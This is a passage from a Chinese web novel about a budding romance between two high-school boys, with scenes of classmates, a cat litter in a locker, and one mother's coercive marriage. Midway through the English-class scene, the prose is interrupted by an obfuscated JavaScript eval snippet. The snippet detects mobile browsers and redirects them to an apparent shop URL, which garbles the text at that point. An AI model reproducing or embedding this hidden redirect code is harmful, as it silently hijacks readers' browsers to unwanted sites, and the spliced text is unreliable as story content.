陈温犹如抓住救命稻草般解锁屏幕——不是沈泽许,而是苏颜晓梦通过好友申请的信息。 「晓梦小萌:不好意思,这个星期我妈把我手机收了,刚刚才拿到。」 「温馨提示:嗯。」 陈温捧着手机,在对话框上方悬停了几秒,终于还是忍不住问出了那个盘旋已久的问题: 「温馨提示:所以……你到底为什么喜欢沈泽许啊?我就是好奇问问。」 消息发出去的瞬间,他还连忙补了个表情包,掩饰尴尬。 没想到,苏颜晓梦回复得异常干脆: 「晓梦小萌:摊牌了!其实我对他感觉也就那样[抠鼻]」 陈温差点被自己的口水呛到。 「晓梦小萌:因为这家伙抢了我的年级第一!我刷了三个月题都考不过他!(哭哭啼啼.JPG)」 「后来我就想通了——既然考不过他,那就把他追到手呗[机智]」 「反正他长得也挺帅,也不亏~」 陈温嘴角一抽——他突然想起沈泽许那句意味深长的:“她在光荣榜前拦住我,她说会让我记住她的名字,说完就跑走了。” 当时没懂,现在豁然开朗。 那丫头分明是…… 「温馨提示:就……这样?」 「晓梦小萌:不然呢?[翻白眼]你以为我是什么苦情女主啊?」 「不过说真的,沈泽许这人挺难搞的。」 「我送了一个月早餐,他全分给流浪猫了。」 「有次假装晕倒想让他扶,结果他直接叫了120[再见表情]」 陈温忍不住笑出声来,脑海里浮现出沈泽许面无表情拨打急救电话的样子。 他鬼使神差地打字: 「那你还追?」 「晓梦小萌:这不是闲着也是闲着嘛[狗头]」 「不过最近准备放弃了。」 「温馨提示:为什么?」 「晓梦小萌:他好像有喜欢的人。」 陈温的心跳忽地漏了一拍,手机屏幕因长时间没操作,自动暗下去,映出他怔忡的脸。 “有喜欢的人……?”陈温无意识地重复着这句话,不受控制般打字: 「谁啊?」 「晓梦小萌:我怎么知道?[白眼]听你们班体育委员说的。」 「不跟你说了,我妈来查房了。」 屏幕暗了下去,陈温把它扔到乱糟糟的枕边,整个人陷进柔软的床铺里。 会是谁呢…… 陈温仰面倒在床上,天花板不明显的裂纹在昏暗的光线下像一幅抽象画,他盯着看了好一会儿,重新拿起手机,鬼使神差地在搜索栏输入“处女座”。 页面跳转的瞬间,他莫名有些心虚,像是正在窥探什么不该看的秘密。 星座分析网站显示着醒目的标题:《完美主义的处女座》。 陈温不受控制地往下滑,满屏都是“处女座喜欢什么星座”、“如何追求处女座”之类的视频推荐。 他鬼使神差地点开一个点赞量最高的视频,主播正眉飞色舞地分析:“天秤座和处女座?不行不行!天秤太随性,处女座又吹毛求疵……” 陈温皱了皱眉,手指却诚实地往下滑动。 下一个视频的标题赫然写着:《天秤&处女:被低估的绝配组合!》 “……” 评论区吵得不可开交: 「网友A:天秤来报到!我老公处女座,结婚十年了甜如初恋!」 「网友B:别信!我前任处女座,天天嫌我东西乱放!」 「作者:处女座表示就喜欢天秤的随性洒脱~」 陈温嘴上说着很无聊,身体却诚实地看了一个多小时。 各种互相矛盾的分析让他头昏脑胀——有人说处女座最讨厌天秤的优柔寡断,又有人说天秤的温柔最能安抚处女的焦虑。 最后他总结:没事少看关于喜欢的人的星座话题!!! 33. 同学不理我了,怎么办 男生背着黑色书包往走教学楼时,晨光刚好爬上三楼的窗台。 走廊尽头的教室传来阵阵嬉闹声,像一锅煮沸的糖水,咕嘟咕嘟冒着欢快的气泡。 陈温刚推开后门,就被林宇舟一把拽住手腕,“叶萧云当‘爸爸’了!” “什么鬼!?”陈温被拽得踉跄两步,黑色书包带子从肩头滑落,在肘弯处晃荡。 教室后排的储物柜前,三四个女生蹲成一小圈,叶萧云站在旁边,手指深深插进头发里,把那头天然卷抓得更乱了。 暖阳从窗户斜射进来,照亮储物柜里那件皱巴巴的24号球衣——上面正侧卧着一只三花猫妈妈,三只还没睁眼的小奶猫在它肚皮上挤成一团。 “喵~”猫妈妈慵懒地叫了一声,尾巴尖轻轻扫过柜门。 陈温闻到淡淡的奶腥味混着篮球服的汗味,叶萧云的球衣上还沾着的猫毛。 “这个猫妈妈选中叶萧云的柜子当产房了!”林宇舟憋着笑,手指戳了戳当事人涨红的脸,“看这父子相认的感人场面!” “去你的,你再乱说试一下!”叶萧云恼羞成怒,没好气地瞪了他一眼。 “你柜子没关严实怪谁?”李欣桐轻轻抚摸猫妈妈的头,道:“人家多会挑地方,又暖和又隐蔽,就是这味道……” 叶萧云不满地蹲下身,盯着那团微微起伏的小毛球,喉结滚动了两下。 “我的限量版球衣啊……”他声音却不由自主放轻了,像是怕惊扰正在吃奶的小猫。 “要不要给崽崽们起名?“林宇舟掰着手指数,“叶大喵、叶二喵、叶三喵……” “滚蛋!”叶萧云作势要踹他,却因为怕惊动猫咪而变成滑稽的慢动作。 几人捂嘴偷笑,两人打闹间,陈温弯下腰凑近储物柜,最小那只奶猫打了个奶嗝,粉色的肉垫无意识地张开。 “所以……”他指了指柜门里其乐融融的一家四口,猫妈妈正懒洋洋地舔着小猫的脑袋,几只毛茸茸的小团子挤在一起,睡得香甜,“我们要告诉婷姐吗?” 话音刚落,教室门就被推开了。 猫妈妈猛地竖起耳朵,警惕地抬头张望,小猫们也被惊动,发出细弱的“咪呜”声,往妈妈怀里直缩。 沈泽许走了进来。他今天戴着上次跟陈温打视频电话时的眼镜,单手拎着书包,校服外套松垮地搭在肩上,晨光照在他身上,整个人比平时温和了几分。 林宇舟一见到他,立刻凑上去,笑嘻嘻地重复那句已经说了八百遍的话。 “叶萧云当‘爸爸’了!” 沈泽许闻言微微抬眼,视线轻飘飘地掠过陈温,又落在敞开的储物柜上。他的目光在猫妈妈和小猫身上停留了两秒,唇角微不可察地扬了扬。 “小猫?”他语气淡淡的,却带着一丝微妙的兴趣。 “是啊,真是太抓马了。”旁边有女生接话,几个人顿时笑作一团。 叶萧云气得直跺脚,指着自己的柜子控诉:“这一点都不好笑!我的球服!我的作业本!全被它们霸占了!” 沈泽许没说话,只是走近几步,凝视柜子里的小猫。其中一只似乎察觉到有人靠近,迷迷糊糊地睁开一条缝,冲着他的方向软软地“喵”了一声。 “不读书,你们在干什么呢?!”楚婷的声音像一道惊雷,从后门猛地劈进来。 所有人瞬间僵住,唯恐班主任生气一样。 叶萧云的手还悬在半空,手离柜门只有几厘米,像是被按了暂停键;林宇舟一个激灵,差点撞到旁边的课桌。 陈温下意识往后退了半步,后背抵上了沈泽许的手臂,对方却纹丝不动,只是微微侧身,替他挡了挡楚婷的视线。 楚婷踩着帆布鞋快步走来,她眉头紧皱,目光凌厉地扫过围成一圈的学生,直到—— “喵~” 一声软乎乎的猫叫从柜子里传出,楚婷的脚步猛地顿住。 她眯起眼,狐疑地凑近,直到看清柜子里的景象——猫妈妈正慵懒地蜷在叶萧云的篮球服上,几只小猫挤在她肚皮旁边。其中一只似乎察觉到有人靠近,湿漉漉的鼻尖动了动。 “哇塞!好可爱!” 楚婷的声音瞬间拔高了八度,刚才的严厉荡然无存,眼睛亮得像是发现了宝藏。 她甚至没忍住,伸手戳了戳其中一只小猫的耳朵,皮肤碰到绒毛的瞬间,嘴角不自觉地上扬。 李清依趁机凑过来,小声问:“婷姐,现在怎么办?猫妈妈在叶萧云的柜子里生孩子……” 楚婷没立刻回答,而是迅速掏出手机,对着柜子里的猫咪一家“咔嚓咔嚓”连拍了好几张,甚至还调整角度,要拍出最完美的“全家福”的架势。 林宇舟摸着下巴,一脸坏笑:“要不婷姐你收养了吧?反正你这么喜欢。” 楚婷头也不抬地瞪了他一眼。 “不行,我家那个已经养了只哈士奇了,再带只猫回去,它俩能把房子拆了。”她顿了顿,又补充道:“而且我家那狗子醋劲儿特别大,上次邻居家的猫从阳台经过,它嚎了整整一晚上。” 众人想象了一下那个画面,忍不住笑出声。 楚婷终于拍够了照片,点开手机里的某个群聊,在屏幕上敲敲打打。 “我跟学校后勤的说一下,之前就听说有只怀孕的母猫在教学楼里转悠,没想到在我们班安家了。” 发完消息,她抬头环顾四周,瞬间恢复了班主任的威严:“行了行了,都别围着了!早读课已经开始五分钟了,赶紧回座位去!” 大家这才不情不愿地散开,但目光还时不时往柜子那边瞟。叶萧云站在原地没动,欲言又止地看着自己的柜子,表情复杂。 楚婷瞥了他一眼,难得放软了语气:“放心,学校会处理的。” 叶萧云:“……” 他张了张嘴,最终只憋出一句:“谢谢婷姐。” 随着猫咪们被老师抱走,教室里骤然安静下来,只剩下此起彼伏的翻书声。 陈温把脸埋进臂弯,冰凉的课桌贴着他发烫的脸颊。他将右眼睁开一条缝,视线穿过交叠的手臂缝隙,落在身旁那人握着钢笔的指节上。 黑色的半框眼镜,镜腿垂在耳际,随着书写的动作微微晃动。笔尖在纸上划出沙沙的声响,像春蚕啃食桑叶。 陈温的目光顺着他的小臂缓缓上移,掠过校服袖口露出一截的腕骨——那里有颗淡褐色的小痣,随着书写的动作时隐时现。 视线再往上,掠过随着呼吸微微起伏的喉结,最后定格在那张被晨光描摹的侧脸上。 沈泽许正微抿唇解题,左脸颊那个若隐若现的酒窝让陈温想起昨晚梦里盛着月光的漩涡。 他看得入神,发觉对方睫毛轻颤了一下,吓得赶紧闭紧眼睛。心跳声在耳膜上作响,震得胸腔发麻。 “啪。” 钢笔搁在桌面的轻响惊得陈温睫毛一颤。 他感觉到有道温热的呼吸靠近,沈泽许身上淡淡的茉莉花味也笼罩下来。 “装睡的时候,”带着笑意的声音在耳边响起,“睫毛不要抖得这么厉害。” 陈温猛地直起身,动作太快差点撞到沈泽许的下巴。 “谁装睡了?”他声音比平时高了半个调,顺手把掉在他这钢笔往沈泽许那边推了推。 “我那是闭目养神。” 沈泽许没接话,微微挑眉。 他伸手接过钢笔,擦过陈温的手背,触感像一片羽绒轻轻掠过。 陈温迅速缩回手,把手揣进校服口袋,却摸到了早上没吃完的薄荷糖。包装纸在掌心发出轻响,就像他此刻乱七八糟的心跳。 沈泽许看着他泛红的耳尖,忽然笑出声。 那笑声很轻,却让陈温觉得整个教室都安静了下来,只剩下自己震耳欲聋的心跳声。 “笑什么?”陈温瞪他,却在对上那双含笑的眼睛时,气势不自觉地弱了三分。 沈泽许低头继续写试卷,只是嘴角的弧度怎么也压不下去,写出来的字迹却比平时潦草了几分。 下课铃刚响,同学们鱼贯而出,英语老师熊丽后脚就踏进了教室。 她抱着一沓资料,红框眼镜后的眼睛微微弯起,米色西装衬得她格外干练,脚踩黄色高跟鞋。 “这次考试感觉怎么样啊?”她笑着问道。 教室里稀稀拉拉坐着几个学生,闻言,面面相觑。 这次考试题目确实超纲,有人大着胆子开玩笑道:“老师,我们这次年级第一怕是不保了。” 熊丽推了推眼镜,镜片反射出一道锐利的光:“哎呀,那很难办了。”她走向讲台,“还在教室的同学把试卷和答题卡拿出来。” “老师,答题卡还没发下来呢。”李清依提醒道。 “还没发啊?”熊丽似乎并不在意,“那我们先讲试卷。”她将答案递给李清依,“李清照,帮我把答案投影一下。” “老师,人家叫李清依。”林宇舟提高音量纠正道,一脸认真的样子。 熊丽恍若未闻,已经开始整理讲台上的资料。李清依倒也不在意,她接过答案打开投影仪,利落地操作着设备,答案很快投在了大屏幕上。 教室里响起此起彼伏的叹气声和翻卷子的声音,考完试对答案向来是几家欢喜几家愁。 有人写了却不记得答案;有人把答案抄在试卷上;还有的人干脆空着,却记得自己的解题思路。 陈温属于第二种。他从抽屉里翻出那张英语试卷,对照着大屏幕上的答案开始核对。笔尖在错题上轻轻点着,眉头不自觉地皱起。 就在他对得差不多的时候,上课铃突兀地响起,但熊丽已经进入了状态,丝毫没有停下的意思。 “这道题有人错吗?”她指着屏幕上的其中一道选择填空题问道。 这道题看似简单却暗藏陷阱,稍不留神就会选错。陈温就是其中一员。 他环顾四周,发现没人举手,犹豫片刻后还是缓缓举起了手。随着他的动作,又有几个同学陆续举起了手。 熊丽的目光扫过举手的同学,轻轻叹了口气:“太不应该了。”她的声音里带着几分失望,“这种题不会的话,可以先和同桌讨论一下,实在不行再来问我。” 陈温低下头,余光瞥见身旁的沈泽许正用笔在试卷上写着什么。 熊丽已经开始讲解下一道题,男生收回视线,强迫自己集中注意力。 下课前的最后几分钟,熊丽神秘兮兮地压低声音说:“来,教你们一个绝招。”她推了推滑落的眼镜,让大家看向她。 教室里顿时安静下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171966|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所有人都好奇地望向讲台。 只见熊丽双手捧起试卷,像捧着什么珍宝似的贴在胸前,闭着眼睛深情地说:“试卷我爱你。”说完还煞有介事地在试卷上“啵”地亲了一口。 “噗——”叶萧云第一个没忍住笑出声,赶紧用课本挡住脸。其他同学也憋得肩膀直抖,有几个人已经趴在桌上笑得直不起腰。 熊丽却一脸认真:“考试前这样做,答案就会浮现在你脑海里。”她顿了顿,又补充道:“遇到不会的题时,要对试卷说‘对不起,请原谅’,过一会答案就会出现了。” 陈温正喝着水,听到这话差点呛到。 下课铃适时响起,但没人急着离开。教室里爆发出一阵哄笑,有人已经开始模仿熊丽的样子“深情告白”试卷。叶萧云更是夸张地单膝跪地,对着试卷念起了情诗。 林宇舟趴在课桌上,手肘撑着脑袋,另一只手百无聊赖地转着红笔。 周围的嬉笑声像隔了一层毛玻璃,模糊不清,他的视线漫无目的地游移,最终定格在教室另一头。 他猛地抓起英语试卷站起身,红笔在指间转了个漂亮的弧线。 穿过三三两两打闹的同学,他在李清依桌前站定,高大的身影投下一片阴影。 “怎么了?”李清依抬起头问道,手中的笔尖还停在错题本上。 林宇舟把试卷往她桌上一拍,点着一道完形填空题:“这道题该填什么?”他的声音比平时低了八度,带着点不自然的紧绷。 “这个啊,很简单的。” 李清依正要讲解,同桌李欣桐冷不丁从书包里掏出一个透明保鲜盒,鲜红的草莓整齐排列,还沾着水珠。 “姐,啊——”她捏起最大最红的一颗草莓,不由分说往李清依嘴边送。 “唔!”李清依猝不及防被塞了满嘴,甜腻的汁水在舌尖炸开,她慌忙用手背接住滴落的草莓汁,指尖染上淡淡的粉红。 “伯父种的?”她鼓着腮帮子问,声音含混不清。 “嗯!”李欣桐得意地晃了晃盒子,“我爸带头搞的草莓园,现在全村都种呢。” 林宇舟的笔尖在试卷上不耐烦地轻叩,说:“然后呢?这个空到底填什么?”他挑眉看向李欣桐,眼底带着胜利者的挑衅。 李欣桐见他这样,一把搂住李清依的胳膊:“姐,陪我去厕所!” “啊?可是……” “她还没讲完呢!”林宇舟面无表情地说,双手环在胸前。 李欣桐把脸埋进李清依肩窝,声音闷闷的:“姐,你看他凶我!” 李清依夹在中间左右为难,一边是答应讲题的同学,一边是自己堂妹的请求。 林宇舟烦躁地抓了抓头发,发梢翘起几根不听话的呆毛,他说:“我不就是上次给你姐巧克力,没给你嘛,要不要这样?” 怀里的堂妹身子一抖,李清依顿时心软,无奈地合上错题本,起身说:“待会再讲吧。” 林宇舟盯着两人离去的背影,手中的红笔掉在地上,在瓷砖上滚出几道蜿蜒的红痕。 他弯腰去捡时,听见走廊传来还没走远的李欣桐刻意提高的嗓音:“姐,我跟你说……” 声音戛然而止,像是被人捂住了嘴。 但李清依始终没有回头。 林宇舟把断成两截的红笔扔进垃圾桶,整整一天的课,他的视线都不受控制地往教室前排飘——李清依的马尾辫随着记笔记的动作轻轻晃动,却始终没有转向他这边。 放学铃响起,林宇舟故意磨蹭着收拾书包,等教室里人走得差不多了,他装作不经意地踱到李清依桌前。 手指刚碰到她忘记带走的橡皮,就被李欣桐一把抢过。 “我帮姐姐拿。”少女把橡皮攥在手心,挑衅般扬起下巴。 她今天扎着和李清依同款的马尾,发圈上的草莓挂坠晃啊晃,刺得林宇舟眼睛发疼。 教室后方的喧闹声如同隔着一层毛玻璃传来,陈温捏着试卷边缘微微发紧,他深吸一口气,把试卷往沈泽许那边推了推,动作轻得像在试探水温。 “这道题……怎么做啊?”他问。 “我看看。”沈泽许接过试卷,黑色半框眼镜后的睫毛在眼下投出浅淡的阴影——正是熊丽强调过的那道陷阱题。 “稍等。”男生从桌肚里抽出一本黑色封皮的错题本,皮革封面已经有些磨损。 翻页时带起一阵淡淡的清香,最后停在某页折角处,解题步骤用三种颜色的笔标注得清清楚楚,像幅精密的电路图。 陈温接过本子“谢谢”两个字说得干巴巴的。 沈泽许问:“还有事吗?” “没有了。”陈温低头看题,发梢垂下来遮住发红的耳尖。 错题本上的字迹工整得近乎刻板,连箭头都画得像用尺子比过。 陈温见沈泽许转回头,忍不住深呼吸了一下——是沈泽许身上独特的茉莉香…… 解题思路确实清晰,陈温一下子弄明白了。 他合上本子,发现扉页用银色钢笔写着日期——是从高一开学第一天就开始记录的。 他递还本子的动作,顿了顿,问道:“你喜欢做笔记?” 沈泽许接过错题本,说:“习惯而已。” 又是该死的习惯! 34. 肚子疼 午休铃响过二十分钟后,林宇舟鬼鬼祟祟地溜进教学楼最西侧的厕所。 他反锁上隔间门,掏出手机时掌心已经沁出一层薄汗。 “喂?”电话接通时,背景音是轻柔的钢琴曲和女人模糊的说笑声。 “妈。”林宇舟压低声音,食指无意识地揉搓着校裤。 “怎么了宝贝?”林母的声音清晰起来,像是把手机贴得更近了。 林宇舟立刻涨红了脸:“哎呦,妈能不能别叫我这个了!”他急得跺了下脚,“要是我有女朋友了怎么办?人家会误会的。” 电话那头传来面膜纸的响声:“你先找到再说吧。”林母的语调变得严肃起来,“不过,你现在还不是谈恋爱的时候知道吗?要是真谈了,也要第一时间告诉我。” “好好好,张女士。”林宇舟无奈地说,这个动作让他看起来像个赌气的小学生。 “所以呢?有啥事啊?没事别打扰我跟你小白阿姨做美容。” 林宇舟的喉结滚动了一下。他盯着隔间门板上一个用马克笔画的歪歪扭扭的爱心,声音低了下去:“就是……有个同学不理我了,怎么办?” “哎呦,谁啊?男的女的?”林母陡然拔高音调,背景音里传来另一个女人好奇的询问。 “妈,你先告诉我。” “你先告诉我是男的女的。” 林宇舟吸了吸鼻子,把手机夹在耳朵和肩膀之间:“先不告诉你。” 他听见母亲无奈地叹了口气,接着是一阵窸窸窣窣的布料摩擦声。 “小白,”母亲的声音变得有些遥远,“如果有人不理你,你怎么办?” “啊?”一个温温柔柔的女声响起,带着几分困惑,“我的话……就是直接跟那人聊聊,解开误会吧。” 那人应该是沈泽许的妈妈——白千月。 林宇舟听见这个回答,莫名想起沈泽许那张永远看不出情绪的脸。 那个优等生确实总是直来直往,上次篮球赛输了他就直接找队长复盘到半夜。 “儿子,”张女士的声音重新清晰起来,“要不你跟人家聊聊,把误会解开吧。”她顿了顿,“不然请那个人吃一顿饭?我给你打点钱?” 闻言,林宇舟眼前浮现出学校对面新开的一家甜品店,李清依上周还说过想尝尝他们家的草莓蛋糕。 “哦!不用了,我回去了,午休快结束了。”他匆匆挂断电话,推开隔间门,嘴角已经不自觉地上扬。 高级美容院的VIP室里,香薰机吐出缕缕白檀香雾,张女士把手机放在一旁,镶着水钻的手机壳在柔光下闪闪发亮。 她咬着吸管,喝了口冰镇柠檬水,侧头看向隔壁床的白千月——那张敷着面膜的脸正对着天花板发呆,连美容师按摩到肩颈穴位都没反应。 “小白啊,”张女士使了个眼色,那个美容师识趣地退开,“你最近怎么闷闷不乐的?跟家里那个吵架了?” 白千月像是从深海里被猛地拽出,她睫毛颤了颤,面膜纸随着她抿唇的动作裂开细纹:“嗯,是有点吵架了。” “为什么啊?”张女士任由美容师往自己太阳穴涂抹精油,“看你家那位不像是会跟你吵架的。”她意有所指地眨眼,“上周慈善晚宴,他可是全程搂着你的腰。” 白千月的思绪被拽回那个雨夜——书房里,苏格兰威士忌在水晶杯里晃出棕色的光。 她端着茶盘进去时,男人正在开着视频会议,西装革履的模样让屏幕那头的董事们频频点头。 见她进来,他说了几句后,单手合上笔记本,拍了拍用力的大腿,说:“过来。” 白千月深吸了一口气,犹犹豫豫地走过去。 男人打开笔记本一旁的小盒子,那条项链冰冰凉凉的触感仿佛还贴在锁骨上。 沈明远的指尖顺着项链下滑,却在听到“离婚”二字时骤然收紧——宝石坠子勒进皮肉的疼痛,都比不上他此刻的眼神。 “零花钱不够了?给你加十五万?” 他当时这样说着,嘴角还挂着笑,可那眼睛已经冷得像淬了冰。 “我们不合适。”白千月轻声说,声音像是从很远的地方传来。 “不合适?”沈明远低笑一声,他站起身,皮鞋踩在地毯上,没有发出任何声响,却让她脊背绷紧。 男人伸手抚上她的脸颊,指腹蹭过她的嘴角,动作温柔得像是在对待件易碎的瓷器。 “离开我,谁还能给你这样的生活?”他低声问,目光扫过她身上的高定连衣裙、手腕上的钻石腕表,以及这间装潢奢华的别墅。 白千月抿紧唇,没回答他。 “你离开了,沈泽许怎么办?”男人又问,语气轻缓,却字字诛心。 白千月整个人都在微微发抖。 是啊,沈泽许怎么办?她的儿子,如果她走了,他一个人要怎么面对这个家? 沈明远似乎很满意她的反应,微微俯身,在她耳边低语:“你很清楚,你离不开我。” 白千月闭了闭眼。 是的,他确实对她“很好”。他给她锦衣玉食,不会打骂她,给她体面的社交地位,让她在所有人眼里都是被艳羡的沈太太。 可没人知道,在这座金碧辉煌的牢笼里,她连呼吸都要小心翼翼。 她要自由,要真正健康的爱,如果知道沈明远是这样的人,她永远都不同意跟这人结婚的,是当时的自己太年轻了。 沈明远在外人面前是一个受人崇拜完美的丈夫,可关上门后,他的温柔可以在一瞬间变成冰冷的威胁。 一切的一切只是表象,什么都可以演出来。 “行了,”男人直起身,语气恢复了往常的淡然,“我送你回房间……” 白千月愣愣地站在原地,忽然觉得那条钻石项链,重得让她喘不过气。 “小白?小白?”张女士的声音刺破回忆。 “嗯,我听着呢。”白千月这才回过神来。 “听说隔壁刘太太说你们差五岁?”张女士突然八卦地凑上前,“当年酒会邂逅的故事,圈子里传得可浪漫了。” 白千月想起那场“世纪婚礼”。她穿着沈家定制的婚纱,裙摆上缀满施华洛世奇水晶,折射出七彩光斑。 而沈明远在交换戒指时,加戏的深吻,让全场名媛发出羡慕的惊呼。 “他对你多好啊。”张女士的感叹像把钝刀,“上次拍卖会,三百万的翡翠说买就买……” “我想离婚。”白千月面无表情地说出她的心里话。 “什么?!”张女士猛地坐起来,她挥手赶走美容师,压低声音说:“为什么?他在外面有人了?” 白千月摇摇头。精油顺着她光裸的脊背滑下,像滴冰冷的泪。 “那你这是……”张女士噤声。 死寂在香薰雾气里蔓延。 良久,张女士忽地握住女人微凉的手。 “要离就趁早,我支持你。”她摘下面膜,露出眼角真实的细纹,“别像我,等孩子都十岁了才发现他养了三年的‘表妹’其实是……算了不说这个。” 白千月也紧紧抓住她的手。 两个女人的手同样冰凉,却在相触的瞬间传递出奇异的温暖。 “云姐,”白千月望着对方的眼镜,“谢谢你。” 张女士安抚性地拍她的手:“待会儿我们去新开的网红店打卡?听说有你最爱的蜜桃乌龙千层。” “好。” 两人去了更衣室,帘子拉上,白千月终于摘下那条项链。镜子里的宝石坠子在灯光下折射出砭骨的光,像极了沈明远昨晚最后说的话:“只有我是最爱你的人……” 午休时分浸泡在昏暗的教室里,头上的吊扇慢悠悠地转着,将窗外香樟的沙沙声搅碎成一个个的音符。 陈温枕着手臂侧趴在课桌上,余光里全是沈泽许整理笔记细长又好看的手。 他撕下一张便签纸,鬼使神差地写得比考试时还工整: 「你还不睡觉吗?」 惠中有午休时间,内宿生跟午留生可以在教室里午休,也可以回宿舍午休,而外宿生要留下来午休便要填写申请表。每一层都有老师来巡查,保证大家能正常休息。 纸条被推了过去,对方看完后,睫毛颤了颤,回写的字迹像印刷体般整齐: 「待会儿睡怎么了?」 陈温摇摇头,示意没事,他将纸条夹进课本里,正打算趴下时,余光瞥见林宇舟猫着腰从后门溜出去,活像只做贼的小橘猫。 窸窸窣窣的声响从身侧传来——沈泽许合上笔记本,摘下眼镜,也趴了下来。 他双手交叠垫在脸颊下,这个姿势让他的睫毛显得格外密长,在眼下投出一小片扇形的阴影。 陈温感觉心脏砰砰直跳,像是要撞破胸腔,出来给他跳个舞。 男生悄悄数着对方的呼吸频率,目光流连在那双骨节分明的手上——握笔处有一层薄茧,指甲修剪得圆润干净,腕骨凸起的弧度像座小小的山丘,那颗痣就是建在上面的房子。 窗外的蝉鸣停了。 在这奇异的寂静里,陈温的手像被施了魔法,悄悄碰了碰沈泽许的小指。 温热的触感让他想起冬天捧着的烤红薯,又或许是自己的手太凉了? 他壮着胆子滑入对方掌心,果然如想象般温暖干燥,薄茧蹭过皮肤时引起细微的战栗。 就在他准备撤退时,沈泽许忽然睁开眼。 深邃的瞳孔像两丸浸在清水里的黑玉,清晰地映出陈温瞬间放大的惊慌。 抽手失败的瞬间,他感觉对方的手指猛地收紧——十指相扣的姿势让两颗心脏的震动通过相连的掌心,彼此传递。 更让人心跳失速 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“嘶——” 一声压抑的痛呼打断了他的思绪。 林宇舟抬起头,目光穿过几排课桌,落在那个蜷缩的身影上。 手中的蛋糕盒子极快塞进书包里,他三步并作两步冲到李清依桌前,蹲下的动作太急,一个膝盖重重磕在地上也顾不上疼。 他从桌肚往上看,这个角度,能清晰地看见李清依微微颤抖的睫毛,和因为疼痛而咬得发白的下唇。 “怎么了这是?”林宇舟问。 “她肚子不舒服。”李欣桐焦急地回答。 李清依缓缓睁开眼,正对上林宇舟近在咫尺的双眼——那双总是带着痞气的眼睛此刻盛满了担忧,在混乱的思绪里亮得惊人。 林宇舟站起身,手足无措地挠了挠头:“那怎么办?” “舟哥,送她去医务室啊!”叶萧云看不下去,开口提醒道。 “那没人看班啊……” “我来看班!”叶萧云一把抢过林宇舟的纪律本,“赶紧的!” 林宇舟小心翼翼地扶起李清依,少女纤细的手臂在他掌心轻颤,男生刻意放慢脚步,配合着她虚浮的步伐。 “哇哦~” 教室门关上的瞬间,立刻响起此起彼伏的起哄声。 “坚持一下。”林宇舟声音哑得不像自己的。 时间一分一秒的过去,下课铃准时响起。 李欣桐飞奔出去,而林宇舟独自回到教室。 叶萧云立刻冲过来:“人呢?” “在医务室……”男生声音闷闷的,摸了摸袖口——那里还留着李清依抓过的褶皱。 “你个木头!”叶萧云气得直拍桌子,“这种时候不该陪着吗?” 林宇舟没理他,耳尖红得能滴出血来。 陈温支着下巴看完全程,忍不住用笔帽戳了戳沈泽许的脸颊。 对方转过头来,镜片后的眼睛平静得像结冰的湖面。 “你怎么一点反应都没有?”陈温问。 沈泽许眼睛茫然地眨了眨:“我要有什么反应?” 最后一个字还没落地,陈温突然伸手——手指擦过沈泽许的耳廓,轻巧地摘走了那副半框眼镜。 沈泽许罕见地慌了神,伸手去抢,差点从椅子上站起来,膝盖撞到课桌发出闷响。 “借我戴戴嘛~” 陈温一个后仰,椅子前腿悬空,堪堪躲过沈泽许的手。 “借我一下!” 他顺手捞过后桌女生的化妆镜,镜中人戴着眼镜,学究似的推了推镜框,冲自己挑眉,活像只偷穿西装的小狐狸,狡黠又可爱。 但陈温很快发现了不对劲——周围的世界依然清晰,黑板上的写的今日作业、窗外香樟树的轮廓,甚至沈泽许耳尖那抹可疑的红晕,全都分毫毕现。 这眼镜根本没有度数。 沈泽许趁他愣神的瞬间抢回眼镜,动作急得让校服袖口都卷了起来,露出一截线条分明的小臂。 他低头重新戴上眼镜,碎发垂下来遮住了发红的耳根,可颤抖的指尖出卖了他的紧张。 陈温忽地笑了。他凑近沈泽许,近到能数清对方镜片上的灰尘。 “原来我们沈大学霸戴的是装饰眼镜啊?” 沈泽许的喉结不自觉地滚动,他没回话,转身就要走,却被对方捉住了手腕。 薄茧相触的瞬间,陈温又想起午休时那个心照不宣的牵手。 “跑什么?”他说。 “因为……”沈泽许小声说:“你说我戴眼镜好看。” 陈温愣住了。 那是自己随口说的玩笑话。 35. 靠近点 “他为什么要讨好我 班上不少同学去上厕所了,唯有几个在讲台旁聊天,谁也没有发现两人的动静。 陈温盯着男生回座位的背影,手腕上的那颗痣随着他的摆动轻轻摇晃。 明明和往常没什么不同,可陈温就是觉得哪里不对劲——好像沈泽许转身时,眉心的褶皱比平时深了0.5毫米。 糟糕了…… 陈温心里咯噔一下。 他飞快地把小镜子塞还给后排女生,三步并作两步追上沈泽许。 “你怎么了?生气了?”他凑到沈泽许桌前,双手撑在桌沿。 沈泽许正把眼镜收进丝绒盒里,动作慢得像在拆炸弹,盒盖合上的瞬间发出“咔嗒”的轻响,莫名人陈温联想到手枪上膛的声音。 “我没有。”沈泽许没抬头,说道。 陈温的心口忽然绞痛起来,像是被什么猛兽咬住撕扯。他拧起眉头,道:“你有。 “就是没有。” 沈泽许的声音飘下来,带着种居高临下的慵懒——像只雪白的长毛猫蹲在书架上,尾巴一甩一甩,睥睨着试图拿逗猫棒哄它的人类。 陈温讨好地笑了笑,绕到沈泽许身后。 掌心搭上对方肩膀,手指试探性地按了按,沈泽许的肩胛骨像两块硌手的玉石。 “好好好,你没有生气,”陈温放轻力道,拇指在沈泽许后颈处打着圈,“你对我最好了,怎么会生我的气呢?” 沈泽许从鼻腔里挤出一声轻哼,这声哼笑像根鹅毛,轻轻搔过他的耳膜,陈温忍不住“噗嗤”笑出声。 这还叫没生气? 他盯着沈泽许发红的耳尖,突然冒出个荒唐的念头:生气的沈泽许……有点可爱。 想揉乱他一丝不苟的头发,想戳破他面无表情的伪装,想看看这张冷脸被逗急的样子…… 这个想法来得过于荒谬,陈温触电般缩回手,他俯视自己的掌心,关节处因用力按摩而泛着粉红,像是做了什么见不得人的事。 沈泽许肩颈处一轻,他转过头来,见陈温一副保持着双手悬空的姿势。 